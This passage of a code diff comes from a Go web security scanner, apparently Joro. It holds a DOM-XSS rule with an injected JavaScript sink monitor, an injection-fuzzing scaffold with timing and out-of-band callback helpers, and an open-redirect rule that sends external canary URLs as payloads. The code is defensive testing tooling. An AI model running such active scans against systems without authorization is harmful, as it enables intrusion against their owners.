type Rule struct{}
// New returns the DOM XSS rule.
func New() *Rule { return &Rule{} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "DOM-based XSS" }
func (*Rule) Category() detect.Category { return detect.CategoryDOMXSS }
func (*Rule) Description() string {
return "Drives a dedicated headless Chromium through Joro's proxy and plants per-source " +
"canaries in the URL fragment, a query value, and window.name, then reports when the " +
"page's own JavaScript carries one into a dangerous sink (innerHTML, document.write, " +
"eval, setTimeout, location, and similar). Injection is over CDP before page load, so " +
"it is unaffected by CSP, and the canary never reaches the server — the flow is " +
"confirmed in the browser."
}
// hit is one sink report from the injected monitor.
type hit struct {
Sink string `json:"sink"`
Source string `json:"source"`
Channel string `json:"channel"`
Token string `json:"token"`
Value string `json:"value"`
URL string `json:"url"`
Stack string `json:"stack"`
}
// collector gathers monitor reports as they arrive on the CDP read loop.
type collector struct {
mu sync.Mutex
hits []hit
}
func (c *collector) add(h hit) {
c.mu.Lock()
c.hits = append(c.hits, h)
c.mu.Unlock()
}
// drain returns every hit received since it was last called.
func (c *collector) drain() []hit {
c.mu.Lock()
out := c.hits
c.hits = nil
c.mu.Unlock()
return out
}
// Run launches a dedicated headless browser, injects the monitor, and navigates
// each target URL with canaries, reporting confirmed flows.
func (r *Rule) Run(ctx context.Context, t activescan.Target, _ activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
if deps.CA == nil {
return fmt.Errorf("no CA available for the scan browser")
}
path, _, ok := browser.Find()
if !ok {
return fmt.Errorf("no Chromium-family browser found to drive the scan")
}
profileDir := filepath.Join(deps.DataDir, "browser-profiles", "__scan")
sess, err := browser.LaunchControlled(browser.LaunchOptions{
BrowserPath: path,
ProxyAddr: deps.ProxyAddr,
SPKIFingerprint: browser.SPKIFingerprint(deps.CA.Cert),
ProfileDir: profileDir,
Headless: true,
})
if err != nil {
return fmt.Errorf("launch scan browser: %w", err)
}
defer sess.Kill(true)
client, err := cdp.Connect(ctx, sess.DebugPort, connectTimeout)
if err != nil {
return err
}
defer client.Close()
col := &collector{}
loadCh := make(chan struct{}, 1)
client.On("Page.loadEventFired", func(json.RawMessage) {
select {
case loadCh <- struct{}{}:
default:
}
})
client.On("Runtime.bindingCalled", func(params json.RawMessage) {
var p struct {
Name string `json:"name"`
Payload string `json:"payload"`
}
if err := json.Unmarshal(params, &p); err != nil || p.Name != bindingName {
return
}
var h hit
if err := json.Unmarshal([]byte(p.Payload), &h); err == nil {
col.add(h)
}
})
if _, err := client.Send(ctx, "Page.enable", nil); err != nil {
return err
}
if _, err := client.Send(ctx, "Runtime.enable", nil); err != nil {
return err
}
if _, err := client.Send(ctx, "Runtime.addBinding", map[string]any{"name": bindingName}); err != nil {
return err
}
if _, err := client.Send(ctx, "Page.addScriptToEvaluateOnNewDocument", map[string]any{"source": monitorJS}); err != nil {
return err
}
for _, tu := range t.URLs {
if ctx.Err() != nil {
return ctx.Err()
}
// Only GET endpoints are navigable pages; a host target now also carries
// non-GET parametric requests for the injection rules, which this rule skips.
if tu.Method != "" && !strings.EqualFold(tu.Method, "GET") {
rep.Progress(1)
continue
}
scanURL(ctx, client, col, loadCh, t.Host, tu.URL, rep)
rep.Progress(1)
}
return nil
}
// scanURL plants canaries, navigates, waits for load plus a settle delay, and
// files any confirmed hits.
func scanURL(ctx context.Context, client *cdp.Client, col *collector, loadCh chan struct{}, host, rawURL string, rep activescan.Reporter) {
navURL, nameCanary := buildCanaryURL(rawURL)
if navURL == "" {
return
}
// window.name persists across the navigation, so set it first.
_, _ = client.Send(ctx, "Runtime.evaluate", map[string]any{
"expression": "window.name=" + jsString(nameCanary),
"returnByValue": true,
})
// Drop any stale load signal from a previous navigation.
select {
case <-loadCh:
default:
}
urlCtx, cancel := context.WithTimeout(ctx, perURLTimeout)
defer cancel()
if _, err := client.Send(urlCtx, "Page.navigate", map[string]any{"url": navURL}); err != nil {
return
}
// Wait for the load event (or the per-URL timeout), then give async sinks a
// moment after load to fire.
select {
case <-urlCtx.Done():
return
case <-loadCh:
}
select {
case <-urlCtx.Done():
case <-time.After(settleDelay):
}
seen := map[string]bool{}
for _, h := range col.drain() {
key := h.Source + "|" + h.Sink
if seen[key] {
continue
}
seen[key] = true
rep.Finding(finding(host, navURL, h))
}
}
// buildCanaryURL returns the URL to navigate, carrying a hash and query canary,
// plus the distinct window.name canary to set beforehand. It returns "" if the
// URL cannot be parsed.
func buildCanaryURL(rawURL string) (navURL, nameCanary string) {
u, err := url.Parse(rawURL)
if err != nil || u.Host == "" {
return "", ""
}
q := u.Query()
q.Set("joroqp", canary("q"))
u.RawQuery = q.Encode()
u.Fragment = canary("h")
return u.String(), canary("n")
}
// canary mints a per-source token the monitor recognizes: __joroDX_<channel>_<hex>.
func canary(channel string) string {
var b [6]byte
_, _ = rand.Read(b[:])
return "__joroDX_" + channel + "_" + hex.EncodeToString(b[:])
}
// finding builds the detect.Finding for a confirmed sink hit.
func finding(host, navURL string, h hit) detect.Finding {
now := time.Now()
path := navURL
if u, err := url.Parse(navURL); err == nil {
path = u.Path
}
evidence := fmt.Sprintf("%s reached %s (via %s)", h.Source, h.Sink, h.Channel)
if h.Stack != "" {
evidence += "\n" + firstLines(h.Stack, 6)
}
return detect.Finding{
ID: detect.FindingID(findingRule, host, h.Source+"|"+h.Sink+"|"+path),
RuleID: findingRule,
RuleName: "DOM-based XSS",
Category: detect.CategoryDOMXSS,
Severity: detect.SeverityHigh,
Confidence: detect.ConfidenceHigh,
Target: detect.TargetMessage,
Host: host,
Method: "GET",
URL: navURL,
Detail: h.Source + " reaches " + h.Sink,
Evidence: evidence,
FirstSeen: now,
LastSeen: now,
EvidenceOffset: -1,
}
}
// jsString encodes s as a JavaScript string literal for Runtime.evaluate.
func jsString(s string) string {
b, _ := json.Marshal(s)
return string(b)
}
// firstLines returns at most n lines of s.
func firstLines(s string, n int) string {
lines := strings.Split(s, "\n")
if len(lines) > n {
lines = lines[:n]
}
return strings.Join(lines, "\n")
}
+141
View File
@@ -0,0 +1,141 @@
// DOM XSS sink monitor, injected by internal/activescan/domxss via CDP's
// Page.addScriptToEvaluateOnNewDocument, so it runs before any page script and is
// not subject to the page's CSP.
//
// It wraps the dangerous DOM sinks and, whenever one receives a value containing
// a Joro canary token, reports the sink, the source channel the canary came from
// (hash / query / window.name) and a stack trace back to Go through the
// __joroDomXss binding. It never throws into the page.
(function () {
try {
var MARK = "__joroDX_";
var reported = {};
function channelSource(ch) {
if (ch === "h") return "location.hash";
if (ch === "q") return "location.search";
if (ch === "n") return "window.name";
return "unknown";
}
function scan(val, sink) {
if (val == null) return;
var s;
try { s = String(val); } catch (e) { return; }
if (s.indexOf(MARK) < 0) return;
var m = s.match(/__joroDX_([hqn])_([0-9a-f]+)/);
if (!m) return;
var channel = m[1];
var token = m[0];
var key = sink + "|" + channel + "|" + token;
if (reported[key]) return;
reported[key] = true;
var payload = {
sink: sink,
source: channelSource(channel),
channel: channel,
token: token,
value: s.length > 2000 ? s.slice(0, 2000) : s,
url: "",
stack: ""
};
try { payload.url = location.href; } catch (e) {}
try { payload.stack = (new Error()).stack || ""; } catch (e) {}
try { window.__joroDomXss(JSON.stringify(payload)); } catch (e) {}
}
function hookProp(proto, prop, sink) {
try {
var d = Object.getOwnPropertyDescriptor(proto, prop);
if (!d || !d.set) return;
var origSet = d.set;
Object.defineProperty(proto, prop, {
configurable: true,
enumerable: d.enumerable,
get: d.get,
set: function (v) { scan(v, sink); return origSet.call(this, v); }
});
} catch (e) {}
}
hookProp(Element.prototype, "innerHTML", "Element.innerHTML");
hookProp(Element.prototype, "outerHTML", "Element.outerHTML");
try {
var iah = Element.prototype.insertAdjacentHTML;
Element.prototype.insertAdjacentHTML = function (pos, html) {
scan(html, "insertAdjacentHTML");
return iah.apply(this, arguments);
};
} catch (e) {}
function hookDocWrite(name) {
try {
var orig = document[name];
document[name] = function () {
for (var i = 0; i < arguments.length; i++) scan(arguments[i], "document." + name);
return orig.apply(this, arguments);
};
} catch (e) {}
}
hookDocWrite("write");
hookDocWrite("writeln");
try {
var _eval = window.eval;
window.eval = function (code) { scan(code, "eval"); return _eval(code); };
} catch (e) {}
try {
var _Func = window.Function;
window.Function = function () {
for (var i = 0; i < arguments.length; i++) scan(arguments[i], "Function");
return _Func.apply(this, arguments);
};
} catch (e) {}
function hookTimer(name) {
try {
var orig = window[name];
window[name] = function (fn) {
if (typeof fn === "string") scan(fn, name + "(string)");
return orig.apply(this, arguments);
};
} catch (e) {}
}
hookTimer("setTimeout");
hookTimer("setInterval");
try {
var _setAttr = Element.prototype.setAttribute;
Element.prototype.setAttribute = function (name, value) {
try {
var n = ("" + name).toLowerCase();
if (n === "src" || n === "href" || n === "data" || n === "action" ||
n === "formaction" || n.indexOf("on") === 0) {
scan(value, "setAttribute(" + n + ")");
}
} catch (e) {}
return _setAttr.apply(this, arguments);
};
} catch (e) {}
function hookJQuery() {
try {
var jq = window.jQuery;
if (!jq || !jq.fn) return;
["html", "append", "prepend", "after", "before", "replaceWith"].forEach(function (mth) {
var orig = jq.fn[mth];
if (typeof orig !== "function") return;
jq.fn[mth] = function () {
for (var i = 0; i < arguments.length; i++) {
if (typeof arguments[i] === "string") scan(arguments[i], "jQuery." + mth);
}
return orig.apply(this, arguments);
};
});
} catch (e) {}
}
hookJQuery();
try { document.addEventListener("DOMContentLoaded", hookJQuery); } catch (e) {}
} catch (e) {}
})();
+32
View File
@@ -0,0 +1,32 @@
package inject
import "context"
// Drive iterates every parameter of every request, calling probe with the point
// and that request's baseline. It handles enumeration, per-request baselining,
// cancellation, and progress (one tick per request, matching the run's URL-based
// total). Finding-reporting stays in probe (this package does not import
// activescan), which is why probe takes no reporter.
func Drive(ctx context.Context, reqs [][]byte, s *Sender, progress func(delta int), probe func(ctx context.Context, p Point, base *Baseline)) {
for _, raw := range reqs {
if ctx.Err() != nil {
return
}
base, err := s.Baseline(ctx, raw)
if err != nil {
if progress != nil {
progress(1)
}
continue
}
for _, p := range Enumerate(raw) {
if ctx.Err() != nil {
return
}
probe(ctx, p, base)
}
if progress != nil {
progress(1)
}
}
}
+261
View File
@@ -0,0 +1,261 @@
// Package inject is the shared scaffold for the active injection-scanning rules
// (reflected XSS, SQLi, SSTI, command injection, open redirect, path traversal).
// It enumerates a request's injectable parameters, mutates one with a payload,
// sends the result through Joro's proxy, and exposes baseline/differential/timing
// and OAST helpers — so each rule is just a payload set plus a detector.
//
// Enumeration reuses internal/echo (the one parameter walker in the repo);
// mutation is name-aware per source (query/form/json/path) rather than relying on
// byte offsets, which echo computes only best-effort.
package inject
import (
"encoding/json"
"fmt"
"net/url"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/proxy"
)
// Point is an injectable parameter. It aliases echo.Value so rules speak echo's
// vocabulary (Source, Name, Value) without re-deriving it.
type Point = echo.Value
// Enumerate returns the injectable parameters of a raw request: query, path, form
// and JSON-body values. Headers, cookies and multipart parts are deliberately
// excluded to bound scan volume to the parameters that carry most injection.
func Enumerate(raw []byte) []Point {
if len(raw) == 0 {
return nil
}
// detect.Parse derives the URL/host/content-type from the CapturedRequest's
// fields, not the raw request line, so reconstruct them from the bytes.
host := headerValue(raw, "Host")
cr := &proxy.CapturedRequest{
ReqRaw: raw,
Host: host,
URL: reconstructURL(raw, host),
ContentType: headerValue(raw, "Content-Type"),
}
cfg := echo.DefaultConfig()
cfg.ScanHeaders = false // skip headers/cookies for injection fuzzing
vals := echo.Walk(detect.Parse(cr, echo.ParseConfig(cfg)), cfg)
out := vals[:0:0]
for _, v := range vals {
switch v.Source {
case echo.SourceQuery, echo.SourcePath, echo.SourceForm, echo.SourceJSON:
out = append(out, v)
}
}
return out
}
// Mutate produces a copy of raw with point p's value set to payload (or, when
// appendMode, the original value followed by payload). Content-Length is
// recomputed. An unsupported source returns an error so the caller skips the point.
func Mutate(raw []byte, p Point, payload string, appendMode bool) ([]byte, error) {
value := payload
if appendMode {
value = p.Value + payload
}
var out []byte
var err error
switch p.Source {
case echo.SourceQuery:
out, err = httptools.ApplyEdits(raw, []httptools.Edit{{Op: "setQuery", Name: p.Name, Value: value}})
case echo.SourcePath:
out, err = setPathSegment(raw, p.Name, value)
case echo.SourceForm:
out, err = setFormField(raw, p.Name, value)
case echo.SourceJSON:
out, err = setJSONField(raw, p.Name, value)
default:
return nil, fmt.Errorf("inject: unsupported source %q", p.Source)
}
if err != nil {
return nil, err
}
return httptools.UpdateContentLength(out), nil
}
// splitRequest separates the header block (through the blank line) from the body.
func splitRequest(raw []byte) (head, body []byte) {
if i := strings.Index(string(raw), "\r\n\r\n"); i >= 0 {
return raw[:i+4], raw[i+4:]
}
if i := strings.Index(string(raw), "\n\n"); i >= 0 {
return raw[:i+2], raw[i+2:]
}
return raw, nil
}
// setFormField re-encodes a urlencoded body with one field changed.
func setFormField(raw []byte, name, value string) ([]byte, error) {
head, body := splitRequest(raw)
vals, err := url.ParseQuery(string(body))
if err != nil {
return nil, err
}
vals.Set(name, value)
return append(append([]byte(nil), head...), []byte(vals.Encode())...), nil
}
// setPathSegment replaces the i-th path segment (echo names path values "[i]").
func setPathSegment(raw []byte, name, value string) ([]byte, error) {
idx, err := strconv.Atoi(strings.Trim(name, "[]"))
if err != nil {
return nil, fmt.Errorf("inject: bad path index %q", name)
}
line, rest, ok := firstLine(raw)
if !ok {
return nil, fmt.Errorf("inject: no request line")
}
method, target, version, ok := splitRequestLine(line)
if !ok {
return nil, fmt.Errorf("inject: bad request line")
}
path, query := target, ""
if q := strings.IndexByte(target, '?'); q >= 0 {
path, query = target[:q], target[q:]
}
segs := strings.Split(path, "/") // leading "" from the leading slash
seg := idx + 1 // echo indexes segments after the leading slash
if seg <= 0 || seg >= len(segs) {
return nil, fmt.Errorf("inject: path index %d out of range", idx)
}
segs[seg] = url.PathEscape(value)
newLine := method + " " + strings.Join(segs, "/") + query + " " + version
return append([]byte(newLine), rest...), nil
}
// setJSONField sets a leaf addressed by a dotted path with [i] indices.
func setJSONField(raw []byte, path, value string) ([]byte, error) {
head, body := splitRequest(raw)
var doc any
if err := json.Unmarshal(body, &doc); err != nil {
return nil, err
}
if err := setJSONPath(&doc, splitJSONPath(path), value); err != nil {
return nil, err
}
nb, err := json.Marshal(doc)
if err != nil {
return nil, err
}
return append(append([]byte(nil), head...), nb...), nil
}
// splitJSONPath breaks "a.b[0].c" into ["a","b","0","c"].
func splitJSONPath(p string) []string {
var out []string
for _, part := range strings.Split(p, ".") {
for {
b := strings.IndexByte(part, '[')
if b < 0 {
if part != "" {
out = append(out, part)
}
break
}
if b > 0 {
out = append(out, part[:b])
}
e := strings.IndexByte(part, ']')
if e < 0 {
break
}
out = append(out, part[b+1:e])
part = part[e+1:]
}
}
return out
}
// setJSONPath walks segs into the decoded doc and sets the leaf to value (as a
// string, matching how the application most commonly receives injected input).
func setJSONPath(doc *any, segs []string, value string) error {
if len(segs) == 0 {
*doc = value
return nil
}
seg := segs[0]
switch node := (*doc).(type) {
case map[string]any:
child := node[seg]
if err := setJSONPath(&child, segs[1:], value); err != nil {
return err
}
node[seg] = child
return nil
case []any:
i, err := strconv.Atoi(seg)
if err != nil || i < 0 || i >= len(node) {
return fmt.Errorf("inject: bad json index %q", seg)
}
child := node[i]
if err := setJSONPath(&child, segs[1:], value); err != nil {
return err
}
node[i] = child
return nil
default:
return fmt.Errorf("inject: json path does not resolve at %q", seg)
}
}
// reconstructURL builds an absolute URL from the request line's target and the Host
// header, so detect.Parse can extract the path and query. The scheme is irrelevant
// to parameter enumeration.
func reconstructURL(raw []byte, host string) string {
line, _, ok := firstLine(raw)
if !ok {
return ""
}
_, target, _, ok := splitRequestLine(line)
if !ok {
return ""
}
if host == "" {
host = "placeholder"
}
if strings.HasPrefix(target, "http://") || strings.HasPrefix(target, "https://") {
return target
}
return "http://" + host + target
}
// headerValue returns the first value of header name (case-insensitive) from the
// request's header block.
func headerValue(raw []byte, name string) string {
head, _ := splitRequest(raw)
lower := strings.ToLower(name) + ":"
for _, ln := range strings.Split(string(head), "\n") {
ln = strings.TrimRight(ln, "\r")
if strings.HasPrefix(strings.ToLower(ln), lower) {
return strings.TrimSpace(ln[len(lower):])
}
}
return ""
}
func firstLine(raw []byte) (line string, rest []byte, ok bool) {
i := strings.IndexByte(string(raw), '\n')
if i < 0 {
return "", nil, false
}
line = strings.TrimRight(string(raw[:i]), "\r")
return line, raw[i:], true
}
func splitRequestLine(line string) (method, target, version string, ok bool) {
parts := strings.Fields(line)
if len(parts) != 3 {
return "", "", "", false
}
return parts[0], parts[1], parts[2], true
}
+66
View File
@@ -0,0 +1,66 @@
package inject
import (
"context"
"time"
"github.com/BishopFox/joro/internal/callback"
)
// OASTAvailable reports whether out-of-band testing can run: a callback store with
// a configured domain. When false, rules skip their OAST vectors rather than emit a
// payload to an unresolvable domain — OAST is disabled unless a listener/team
// server provides a callback domain.
func OASTAvailable(store *callback.Store) bool {
if store == nil {
return false
}
cfg, err := store.GetConfig()
return err == nil && cfg != nil && cfg.Domain != ""
}
// OAST mints callback tokens and polls for interactions, for blind detection.
type OAST struct {
store *callback.Store
domain string
}
// NewOAST returns an OAST helper, or nil when OAST is unavailable (caller skips).
func NewOAST(store *callback.Store) *OAST {
if !OASTAvailable(store) {
return nil
}
cfg, _ := store.GetConfig()
return &OAST{store: store, domain: cfg.Domain}
}
// Token mints a correlation token and returns it with the callback hostname to
// weave into a payload (`<token>.<domain>`).
func (o *OAST) Token(note string) (tokenID, host string, err error) {
tok, err := callback.GenerateToken(o.store, note)
if err != nil {
return "", "", err
}
return tok.ID, tok.Token + "." + o.domain, nil
}
// Fired polls the callback store until an interaction for tokenID appears or the
// window elapses, respecting ctx. It returns true on the first hit.
func (o *OAST) Fired(ctx context.Context, tokenID string, window time.Duration) bool {
deadline := time.Now().Add(window)
ticker := time.NewTicker(1 * time.Second)
defer ticker.Stop()
for {
if items, _, err := o.store.ListInteractions(tokenID, 0, 1); err == nil && len(items) > 0 {
return true
}
if time.Now().After(deadline) {
return false
}
select {
case <-ctx.Done():
return false
case <-ticker.C:
}
}
}
+97
View File
@@ -0,0 +1,97 @@
package inject
import (
"context"
"time"
"github.com/BishopFox/joro/internal/httptools"
)
// maxRespBytes is the response body an injection detector needs — enough to match
// an error string, a rendered expression, or file contents.
const maxRespBytes = 1 << 20
// Sender sends mutated requests through Joro's proxy and fingerprints the result.
// It takes httptools.SendDeps directly (not activescan.RuleDeps) so this package
// does not import activescan — the rules build SendDeps from their RuleDeps.
type Sender struct {
deps httptools.SendDeps
scheme string
host string
timeout time.Duration
}
// NewSender wires a sender for one target host.
func NewSender(deps httptools.SendDeps, scheme, host string, timeout time.Duration) *Sender {
if deps.MaxRespBytes == 0 {
deps.MaxRespBytes = maxRespBytes
}
return &Sender{deps: deps, scheme: scheme, host: host, timeout: timeout}
}
// Result is one send's outcome: the raw and parsed response, status, wall-clock
// duration, and a structural fingerprint for differential comparison.
type Result struct {
RawReq []byte
RespRaw []byte
Resp httptools.Response
Status int
DurationMs int64
Fingerprint httptools.Fingerprint
URL string
Method string
}
// Send sends one raw request and returns the fingerprinted result.
func (s *Sender) Send(ctx context.Context, raw []byte) (*Result, error) {
reqCtx, cancel := context.WithTimeout(ctx, s.timeout)
defer cancel()
sent, err := httptools.SendViaProxy(reqCtx, raw, s.scheme, s.host, s.deps)
if err != nil {
return nil, err
}
return &Result{
RawReq: raw,
RespRaw: sent.RespRaw,
Resp: httptools.ReadResponse(sent.RespRaw),
Status: sent.StatusCode,
DurationMs: sent.Duration.Milliseconds(),
Fingerprint: httptools.FingerprintResponse(sent.Seq, sent.RespRaw, sent.Duration.Milliseconds(), false),
URL: sent.URL,
Method: sent.Method,
}, nil
}
// Baseline is the unmodified request's response plus a timing floor used to judge
// time-based injections.
type Baseline struct {
Result
// FloorMs is the smaller of two baseline round-trips — a jitter-resistant
// estimate of the endpoint's normal latency.
FloorMs int64
}
// Baseline sends the original request twice and records the structural fingerprint
// plus the latency floor.
func (s *Sender) Baseline(ctx context.Context, raw []byte) (*Baseline, error) {
r1, err := s.Send(ctx, raw)
if err != nil {
return nil, err
}
floor := r1.DurationMs
if r2, err := s.Send(ctx, raw); err == nil && r2.DurationMs < floor {
floor = r2.DurationMs
}
return &Baseline{Result: *r1, FloorMs: floor}, nil
}
// SameStructure reports whether two responses are the same page ignoring volatile
// content (nonces, timestamps) — the boolean oracle for boolean-based SQLi.
func SameStructure(a, b httptools.Fingerprint) bool { return a.StructHash == b.StructHash }
// LooksDelayed reports whether elapsed indicates an injected delay of at least
// delayMs relative to the baseline floor. The 0.8 factor tolerates the payload
// running slightly short while rejecting ordinary jitter.
func LooksDelayed(elapsedMs, floorMs, delayMs int64) bool {
return elapsedMs-floorMs >= delayMs*8/10
}
+127
View File
@@ -0,0 +1,127 @@
package injkit
import (
"context"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/inject"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/httptools"
)
// SameStructure and LooksDelayed re-export the inject differential/timing helpers so
// a rule imports only injkit.
func SameStructure(a, b httptools.Fingerprint) bool { return inject.SameStructure(a, b) }
func LooksDelayed(elapsedMs, floorMs, delayMs int64) bool {
return inject.LooksDelayed(elapsedMs, floorMs, delayMs)
}
// Check is one named, toggleable detection within an injection rule — the catalog
// row the operator sees. Metadata is static (so checks are package-level vars); the
// probe takes its run context as a parameter rather than closing over it.
type Check struct {
ID string
Name string
Severity detect.Severity
Description string
// Payloads are shown in the catalog detail; the probe is free to derive more.
Payloads []string
// RequiresOAST marks a check that only runs with a callback listener configured.
RequiresOAST bool
Probe func(pc ProbeCtx)
}
// ProbeCtx bundles everything a check's probe needs for one insertion point.
type ProbeCtx struct {
Ctx context.Context
Send *inject.Sender
OAST *inject.OAST // nil when OAST is unavailable or opted out
Host string
Point inject.Point
Base *inject.Baseline
// File mints a finding for this point; Host/Method/URL are filled in for you.
File func(sev detect.Severity, detail, evidence, url string)
}
// Inject mutates the point's value with payload (append or replace) and sends the
// result, returning nil on any mutation/send error so a probe can keep going.
func (pc ProbeCtx) Inject(payload string, appendMode bool) *inject.Result {
mut, err := inject.Mutate(pc.Base.RawReq, pc.Point, payload, appendMode)
if err != nil {
return nil
}
res, err := pc.Send.Send(pc.Ctx, mut)
if err != nil {
return nil
}
return res
}
// Catalog builds the catalog items for a rule's checks, reflecting the disabled set.
func Catalog(checks []Check, disabled *activescan.DisabledSet, oastAvailable bool) []activescan.CatalogItem {
out := make([]activescan.CatalogItem, 0, len(checks))
for _, c := range checks {
detail := []activescan.CatalogField{{Label: "Detection", Value: c.Name}}
if len(c.Payloads) > 0 {
detail = append(detail, activescan.CatalogField{Label: "Payloads", Value: strings.Join(c.Payloads, "\n")})
}
if c.RequiresOAST {
avail := "requires a configured callback listener"
if oastAvailable {
avail = "callback listener configured"
}
detail = append(detail, activescan.CatalogField{Label: "Out-of-band", Value: avail})
}
out = append(out, activescan.CatalogItem{
ID: c.ID,
Name: c.Name,
Severity: string(c.Severity),
Confidence: string(detect.ConfidenceHigh),
Target: string(detect.TargetMessage),
Description: c.Description,
Enabled: disabled.IsItemEnabled(c.ID),
Detail: detail,
})
}
return out
}
// RunChecks drives the standard injection loop for a rule: it builds the sender and
// (unless opted out) the OAST helper, then for every parameter of every request runs
// each enabled check's probe. Finding-reporting goes through the probe's File helper.
func RunChecks(
ctx context.Context,
t activescan.Target,
cfg activescan.Config,
deps activescan.RuleDeps,
rep activescan.Reporter,
checks []Check,
disabled *activescan.DisabledSet,
findingRule string,
category detect.Category,
name string,
) {
send := Sender(deps, t)
oast := OAST(deps)
if cfg.NoOAST {
oast = nil
}
enabled := make([]Check, 0, len(checks))
for _, c := range checks {
if disabled.IsItemEnabled(c.ID) {
enabled = append(enabled, c)
}
}
inject.Drive(ctx, Requests(t), send, rep.Progress, func(ctx context.Context, p inject.Point, base *inject.Baseline) {
for _, c := range enabled {
if ctx.Err() != nil {
return
}
file := func(sev detect.Severity, detail, evidence, url string) {
rep.Finding(Finding(findingRule, category, sev, name, t.Host, base.Method, url, p.Key(), detail, evidence))
}
c.Probe(ProbeCtx{Ctx: ctx, Send: send, OAST: oast, Host: t.Host, Point: p, Base: base, File: file})
}
})
}
+97
View File
@@ -0,0 +1,97 @@
// Package injkit adapts the activescan framework to the inject library: it builds a
// sender/OAST/request-list from a rule's Target and RuleDeps and mints findings, so
// each injection rule stays a payload set plus a detector. It imports both
// activescan and inject (activescan imports neither, so there is no cycle).
package injkit
import (
"net/url"
"strings"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/inject"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/httptools"
)
// PerReqTimeout bounds one probe send. It sits above the time-based payloads'
// sleep interval so a genuine delay is observed rather than cut off.
const PerReqTimeout = 20 * time.Second
// Sender builds an inject.Sender for the target from a rule's deps.
func Sender(d activescan.RuleDeps, t activescan.Target) *inject.Sender {
return inject.NewSender(
httptools.SendDeps{ProxyAddr: d.ProxyAddr, CA: d.CA, Store: d.Store},
t.Scheme, t.Host, PerReqTimeout,
)
}
// OAST returns an OAST helper, or nil when no callback domain is configured (the
// caller then skips its OAST vectors).
func OAST(d activescan.RuleDeps) *inject.OAST { return inject.NewOAST(d.Callback) }
// Requests returns the raw request bytes to fuzz: each target URL's captured bytes,
// synthesizing a bare GET when a URL carries none.
func Requests(t activescan.Target) [][]byte {
var out [][]byte
for _, u := range t.URLs {
if len(u.RawReq) > 0 {
out = append(out, u.RawReq)
continue
}
if raw := synthGET(u.URL, t.Host); raw != nil {
out = append(out, raw)
}
}
return out
}
func synthGET(rawURL, host string) []byte {
u, err := url.Parse(rawURL)
if err != nil || u.Path == "" {
return nil
}
target := u.Path
if u.RawQuery != "" {
target += "?" + u.RawQuery
}
h := host
if u.Host != "" {
h = u.Host
}
return []byte("GET " + target + " HTTP/1.1\r\nHost: " + h + "\r\nConnection: close\r\n\r\n")
}
// Finding builds a detect.Finding in detect's identity space, deduped per
// (rule, host, parameter+path) so one vulnerable parameter is one finding.
func Finding(ruleID string, cat detect.Category, sev detect.Severity, name, host, method, probeURL, param, detail, evidence string) detect.Finding {
now := time.Now()
return detect.Finding{
ID: detect.FindingID(ruleID, host, param+"|"+pathOf(probeURL)),
RuleID: ruleID,
RuleName: name,
Category: cat,
Severity: sev,
Confidence: detect.ConfidenceHigh,
Target: detect.TargetMessage,
Host: host,
Method: method,
URL: probeURL,
Detail: detail,
Evidence: evidence,
FirstSeen: now,
LastSeen: now,
EvidenceOffset: -1,
}
}
func pathOf(u string) string {
if parsed, err := url.Parse(u); err == nil && parsed.Path != "" {
return parsed.Path
}
if i := strings.IndexByte(u, '?'); i >= 0 {
return u[:i]
}
return u
}
@@ -0,0 +1,99 @@
// Package openredirect is the active open-redirect rule. Each check replaces the
// parameter with an external canary URL and confirms a redirect to that host via the
// Location header or an in-body meta/JS redirect.
package openredirect
import (
"context"
"crypto/rand"
"encoding/hex"
"regexp"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "openredirect"
findingRule = "activescan.openredirect"
)
func payloads(canary string) []string {
return []string{"https://" + canary + "/", "//" + canary + "/"}
}
var checks = []injkit.Check{
{
ID: "location", Name: "Location header", Severity: detect.SeverityMedium,
Description: "Injects an external URL and reports when a 3xx Location header points to it.",
Payloads: []string{"https://<canary>/", "//<canary>/"},
Probe: locationHeader,
},
{
ID: "body", Name: "Body meta/JS redirect", Severity: detect.SeverityMedium,
Description: "Injects an external URL and reports when the body redirects to it (meta refresh or window.location).",
Payloads: []string{"https://<canary>/", "//<canary>/"},
Probe: bodyRedirect,
},
}
var bodyRedirectRe = regexp.MustCompile(`(?i)(?:http-equiv=["']?refresh|location\.(?:href|replace|assign)|window\.location)`)
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Open redirect" }
func (*Rule) Category() detect.Category { return detect.CategoryOpenRedirect }
func (*Rule) Description() string {
return "Replaces each parameter with an external canary URL and reports when the response " +
"redirects to that host — via the Location header on a 3xx or an in-body meta/JavaScript " +
"redirect — indicating an unvalidated redirect."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryOpenRedirect, "Open redirect")
return nil
}
func locationHeader(pc injkit.ProbeCtx) {
canary := "joro-redir-" + randHex(5) + ".example"
for _, pl := range payloads(canary) {
res := pc.Inject(pl, false)
if res == nil {
continue
}
loc := res.Resp.Header.Get("Location")
if res.Status >= 300 && res.Status < 400 && strings.Contains(loc, canary) {
pc.File(detect.SeverityMedium, "open redirect in "+pc.Point.Name+" (Location header)", "Location: "+loc, res.URL)
return
}
}
}
func bodyRedirect(pc injkit.ProbeCtx) {
canary := "joro-redir-" + randHex(5) + ".example"
for _, pl := range payloads(canary) {
res := pc.Inject(pl, false)
if res == nil {
continue
}
if strings.Contains(string(res.Resp.Body), canary) && bodyRedirectRe.Match(res.Resp.Body) {
pc.File(detect.SeverityMedium, "open redirect in "+pc.Point.Name+" (body redirect)", "response body redirects to "+canary, res.URL)
return
}
}
}
func randHex(n int) string {
